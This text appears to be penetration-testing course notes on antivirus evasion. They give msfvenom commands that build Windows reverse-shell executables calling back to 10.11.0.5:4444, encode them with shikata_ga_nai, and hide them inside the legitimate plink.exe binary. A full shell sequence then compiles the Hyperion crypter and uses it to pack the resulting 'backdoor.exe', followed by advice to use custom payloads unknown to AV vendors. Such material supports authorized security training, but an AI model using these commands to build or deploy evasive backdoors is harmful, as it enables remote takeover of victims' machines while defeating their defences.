Gather as much information as possible about it and test any files you wish to upload to the target machine in a lab environment.
Avoiding antivirus signatures by manually editing the binary file requires a deeper understanding PE's structure and assembly programming.

Kali Tools

• Encoding Payloads with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -o shell_reverse.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

#embedding our shellcode in a non-malicious PE executable

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i

9 -x /usr/share/windows-binaries/plink.exe -o
shell_reverse_msf_encoded_embedded.exe

• Crypting Known Malware with Software Protectors

Hyperion the open source crypter.

```
root@kali:~# cp shell_reverse_msf_encoded_embedded.exe backdoor.exe
root@kali:~# cp /usr/share/windows-binaries/Hyperion-1.0.zip .
root@kali:~# unzip Hyperion-1.0.zip
root@kali:~# cd Hyperion-1.0/
root@kali:~/Hyperion-1.0# i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
root@kali:~/Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/
libgcc_s_sjlj-1.dll .
root@kali:~/Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/libstdc+
+-6.dll .
root@kali:~/Hyperion-1.0# wine hyperion.exe ../backdoor.exe ../crypted.exe
```

Using Custom/Uncommon Tools and Payloads

The most foolproof method of bypassing antivirus software protections is to use tools and binaries that are unknown to AV vendors, either by writing your own, or by finding and using unique payloads.